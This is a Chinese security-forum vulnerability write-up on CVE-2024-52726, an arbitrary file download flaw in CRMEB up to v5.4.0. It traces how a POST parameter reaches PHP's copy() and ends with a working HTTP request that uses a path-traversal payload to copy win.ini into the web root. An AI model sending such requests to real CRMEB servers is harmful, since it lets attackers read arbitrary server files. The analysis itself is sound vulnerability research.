奇安信攻防社区-CRMEB任意文件下载漏洞分析（CVE-2024-52726）

CRMEB任意文件下载漏洞分析（CVE-2024-52726）

一、漏洞简介
======

app/adminapi/controller/v1/setting/SystemConfig.php路由中存在任意文件下载漏洞

二、影响版本
======

&lt;= v5.4.0

三、环境搭建
======

配置phpstudy，将网站的运行目录，设置在public目录下

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-2d4360b8773fc64108a0162e90bf159cc916c484.png)

设置伪静态

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-dd1f0eb8eaa6f0d8dc96c9f0e4498b8eff6f586d.png)

四、漏洞原理分析
========

该系统采用前后端分离技术，基于ThinkPHP6+elementUI+Uni-app框架开发

首先我们查看路由，看到这是一个后台的任意文件下载，并且/adminapi/setting/config/save\_basics路径会进去到 v1.setting.SystemConfig/save\_basics 这个路径下

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-eafca066fddc67edab711763e0e7f2949ae47a05.png)  
受影响的代码在app/adminapi/controllerv1.setting.SystemConfig/save\_basics.php文件的save\_basics中

这里从请求中获取 POST 参数，然后遍历 POST 数据的每个键值对，$k 表示字段名，$v 表示字段值。

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-796141f2d109c5010410f8f2c181ed895d6c7b37.png)

接着是一系列的判断，判断post参数是否存在这些，然后在weixin\_ckeck\_filepost参数中，存在copy函数，可以将文件进行复制的一个操作

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-fe63e8b1c15595ab2c01c51fbf2ee492f10e4d4c.png)

接着跟踪代码，发现public\_path就是在public目录，这里存在copy文件到public目录下的一个操作

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-ab6468f620c9cd9755c4151b1570c905886d926d.png)

分析$to = public\_path() . array\_reverse(explode('/', $post\['weixin\_ckeck\_file'\]))\[0\];这个代码，就是将字符串按 / 分割成一个数组，然后提取最后一个部分（就是文件名），然后拼接到public目录下

进行动调一下，看看是否和我们之前描述的一样。

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-c8d647b0551ba300374364175e0a31448fad9a90.png)

可以看到，结果就是我们所描述的那种。并且由于是thinkphp的框架，所以运行的目录也是在public目录下面。因此可以直接去访问那个文件，便可以进行下载文件。

五、漏洞复现
======

```shell
POST /adminapi/setting/config/save_basics HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Authori-zation: 
Cookie: cb_lang=zh-cn;
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Content-Type: application/json;charset=utf-8
Content-Length: 72

{
    "weixin_ckeck_file": "../../../../../../../../Windows/win.ini"
}
```

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-9757a9cf6fa180699d8d632af0d4e653bf0d8a52.png)

然后访问直接win.ini便可以下载win.ini文件

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-eecc01900b448d57017d478f63b46ce16818cc31.png)

六、总结
====

这是一个由于copy函数没有严格控制路径问题，导致存在一个任意文件下载的操作。

发表于 2024-12-11 10:00:00
阅读 ( 4739 )
分类：CMS

1 条评论

4everup 1秒前

学习